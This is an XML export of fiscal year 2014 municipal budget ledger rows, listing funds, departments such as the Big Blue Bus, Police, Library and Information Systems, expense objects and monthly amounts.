<row _id="10805"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>653</division_id><division_name>TRANSIT MAINTENANCE</division_name><object>511749.0</object><object_description>VISION</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>2501.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>2501.0</total></row>
<row _id="10806"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>653</division_id><division_name>TRANSIT MAINTENANCE</division_name><object>511773.0</object><object_description>RETIREMENT - MISC EMPL</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>183523.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>183523.0</total></row>
<row _id="10807"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>655</division_id><division_name>TRANSIT OPERATIONS</division_name><object>511773.0</object><object_description>RETIREMENT - MISC EMPL</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>3022866.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>3022866.0</total></row>
<row _id="10808"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>654</division_id><division_name>TRANSIT OPERATIONS</division_name><object>511774.0</object><object_description>RETIREMENT - AS NEEDED</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>74.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>74.0</total></row>
<row _id="10809"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>560</division_id><division_name>CULTURAL AFFAIRS</division_name><object>400320.0</object><object_description>MILES PLAYHOUSE PROD FEES</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2014</fiscal_year><july>-24000.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-24000.0</total></row>
<row _id="10810"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>642</division_id><division_name>TRANSIT FINANCE AND GRANTS</division_name><object>408000.0</object><object_description>INTERFUND SERVICES</object_description><category_code>650.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2014</fiscal_year><july>-404541.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>154541.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-250000.0</total></row>
<row _id="10811"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>614</division_id><division_name>INFORMATION MANAGEMENT</division_name><object>544360.0</object><object_description>ELECTRONIC RESOURCES</object_description><category_code>812.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>242545.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>242545.0</total></row>
<row _id="10812"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>305</division_id><division_name>OPERATIONS DIVISION</division_name><object>511711.0</object><object_description>MEDICARE-POLICE</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>209696.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>3466</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>213162.0</total></row>
<row _id="10813"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>312</division_id><division_name>FIRE - ADMINISTRATION</division_name><object>511712.0</object><object_description>MEDICARE-FIRE</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>17554.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>637</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>18191.0</total></row>
<row _id="10814"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>511713.0</object><object_description>MEDICARE-MISC EMPLOYEES</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>4139.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>4139.0</total></row>
<row _id="10815"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>263</division_id><division_name>ADMINISTRATION &amp; REDEVELOPMENT</division_name><object>511713.0</object><object_description>MEDICARE-MISC EMPLOYEES</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>6251.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>38</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>6289.0</total></row>
<row _id="10816"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>25</fund_id><fund_name>Water Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>671</division_id><division_name>WATER</division_name><object>511713.0</object><object_description>MEDICARE-MISC EMPLOYEES</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>56978.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>750</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>57728.0</total></row>
<row _id="10817"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object xsi:nil="true" /><object_description>EAP</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>313.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>313.0</total></row>
<row _id="10818"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>522310.0</object><object_description>OFFICE SUPPLIES / EXPENSES</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>17000.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>17000.0</total></row>
<row _id="10819"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>511713.0</object><object_description>MEDICARE-MISC EMPLOYEES</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>2014.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>2014.0</total></row>
<row _id="10820"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object xsi:nil="true" /><object_description>UNEMPLOYMENT</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>655.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>655.0</total></row>
<row _id="10821"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>511500.0</object><object_description>TEMPORARY EMPLOYEES</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>24276.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>24276.0</total></row>
<row _id="10822"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>511743.0</object><object_description>MEDICAL - MISC. EMPL</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>59487.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>59487.0</total></row>
<row _id="10823"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>511749.0</object><object_description>VISION</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>408.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>408.0</total></row>
<row _id="10824"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object xsi:nil="true" /><object_description>UNEMPLOYMENT</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>934.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>934.0</total></row>
<row _id="10825"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>544200.0</object><object_description>SPORTS SUPPLIES</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>2000.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>2000.0</total></row>
<row _id="10826"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>511713.0</object><object_description>MEDICARE-MISC EMPLOYEES</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>835.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>835.0</total></row>
<row _id="10827"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>511773.0</object><object_description>RETIREMENT - MISC. EMPL</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>10744.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>10744.0</total></row>
<row _id="10828"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object xsi:nil="true" /><object_description>EAP</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>104.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>104.0</total></row>
<row _id="10829"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>511746.0</object><object_description>MED TRUST - MISC. EMPL</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>3476.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>3476.0</total></row>
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<row _id="10833"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>511000.0</object><object_description>PERMANENT EMPLOYEES</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>169144.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>169144.0</total></row>
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<row _id="10839"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>160</department_id><department_name>INFORMATION SYSTEMS</department_name><division_id>245</division_id><division_name>SOFTWARE SYSTEMS</division_name><object>511743.0</object><object_description>MEDICAL - MISC. EMPL</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>201952.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>201952.0</total></row>
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<row _id="10848"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>150</department_id><department_name>HUMAN RESOURCES</department_name><division_id>251</division_id><division_name>EMPLOYMENT &amp; ORGANIZATIONAL DE</division_name><object>533580.0</object><object_description>COMPUTER EQUIP/SOFTWARE MAINT</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>20487.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>20487.0</total></row>
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<row _id="10854"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>27</fund_id><fund_name>Resource Recovery &amp; Recyc Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>441</division_id><division_name>RESOURCE RECOVERY &amp; RECYCLING</division_name><object>566640.0</object><object_description>STATE RECYCLING PROGRAM</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>67659.25</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>67659.25</total></row>
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<row _id="10856"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>267</division_id><division_name>STRATEGIC &amp; TRANSP. PLANNING</division_name><object>511743.0</object><object_description>MEDICAL - MISC. EMPL</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>291338.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>291338.0</total></row>
<row _id="10857"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>267</division_id><division_name>STRATEGIC &amp; TRANSP. PLANNING</division_name><object>511749.0</object><object_description>VISION</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>2502.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>2502.0</total></row>
<row _id="10858"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>267</division_id><division_name>STRATEGIC &amp; TRANSP. PLANNING</division_name><object xsi:nil="true" /><object_description>UNEMPLOYMENT</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>10833.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>138</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>10971.0</total></row>
<row _id="10859"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>33</fund_id><fund_name>Airport Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>431</division_id><division_name>AIRPORT</division_name><object>402160.0</object><object_description>AIRPORT - MISCELLANEOUS REV</object_description><category_code>662.0</category_code><category_code_description>Other</category_code_description><fiscal_year>2014</fiscal_year><july>-2500.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-2500.0</total></row>
<row _id="10860"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>33</fund_id><fund_name>Airport Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>431</division_id><division_name>AIRPORT</division_name><object>402163.0</object><object_description>PARKING RECEIPTS</object_description><category_code>662.0</category_code><category_code_description>Other</category_code_description><fiscal_year>2014</fiscal_year><july>-46100.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-46100.0</total></row>
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<row _id="10862"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>511746.0</object><object_description>MED TRUST - MISC. EMPL</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>3476.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>3476.0</total></row>
<row _id="10863"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>511773.0</object><object_description>RETIREMENT - MISC. EMPL</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>32383.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>32383.0</total></row>
<row _id="10864"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object xsi:nil="true" /><object_description>DISABILITY INSURANCE</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>1316.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1316.0</total></row>
<row _id="10865"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>30</fund_id><fund_name>Pier Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>623</division_id><division_name>HARBOR UNIT</division_name><object>408000.0</object><object_description>INTERFUND SERVICES</object_description><category_code>650.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2014</fiscal_year><july>-162285.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-162285.0</total></row>
<row _id="10866"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>561700.0</object><object_description>TEMP RELOCATION FOOD PROVIDERS</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>12306.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>12306.0</total></row>
<row _id="10867"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>160</department_id><department_name>INFORMATION SYSTEMS</department_name><division_id>243</division_id><division_name>ADMINISTRATION (INFO SYS)</division_name><object>511713.0</object><object_description>MEDICARE-MISC EMPLOYEES</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>6928.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>58</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>6986.0</total></row>
<row _id="10868"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>160</department_id><department_name>INFORMATION SYSTEMS</department_name><division_id>243</division_id><division_name>ADMINISTRATION (INFO SYS)</division_name><object>511743.0</object><object_description>MEDICAL - MISC. EMPL</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>74306.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>74306.0</total></row>
<row _id="10869"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>160</department_id><department_name>INFORMATION SYSTEMS</department_name><division_id>243</division_id><division_name>ADMINISTRATION (INFO SYS)</division_name><object>522210.0</object><object_description>UTILITIES - TELEPHONE</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>22347.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>22347.0</total></row>
<row _id="10870"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>160</department_id><department_name>INFORMATION SYSTEMS</department_name><division_id>244</division_id><division_name>SYSTEMS &amp; NETWORKS</division_name><object>544010.0</object><object_description>SPECIAL DEPARTMENT SUPPLIES</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>12250.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>12250.0</total></row>
<row _id="10871"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>160</department_id><department_name>INFORMATION SYSTEMS</department_name><division_id>245</division_id><division_name>SOFTWARE SYSTEMS</division_name><object>511773.0</object><object_description>RETIREMENT - MISC. EMPL</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>251251.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>3900</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>255151.0</total></row>
<row _id="10872"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>160</department_id><department_name>INFORMATION SYSTEMS</department_name><division_id>246</division_id><division_name>SUPPORT SERVICES</division_name><object>511773.0</object><object_description>RETIREMENT - MISC. EMPL</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>122291.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>2187</december><january>0.0</january><february>16174</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>140652.0</total></row>
<row _id="10873"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>160</department_id><department_name>INFORMATION SYSTEMS</department_name><division_id>246</division_id><division_name>SUPPORT SERVICES</division_name><object xsi:nil="true" /><object_description>UNEMPLOYMENT</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>3470.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>43</december><january>0.0</january><february>416</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>3929.0</total></row>
<row _id="10874"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>160</department_id><department_name>INFORMATION SYSTEMS</department_name><division_id>246</division_id><division_name>SUPPORT SERVICES</division_name><object xsi:nil="true" /><object_description>DISABILITY INSURANCE</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>5839.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>69</december><january>0.0</january><february>654</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>6562.0</total></row>
<row _id="10875"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>160</department_id><department_name>INFORMATION SYSTEMS</department_name><division_id>246</division_id><division_name>SUPPORT SERVICES</division_name><object>522320.0</object><object_description>METERED POSTAGE</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>100.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>100.0</total></row>
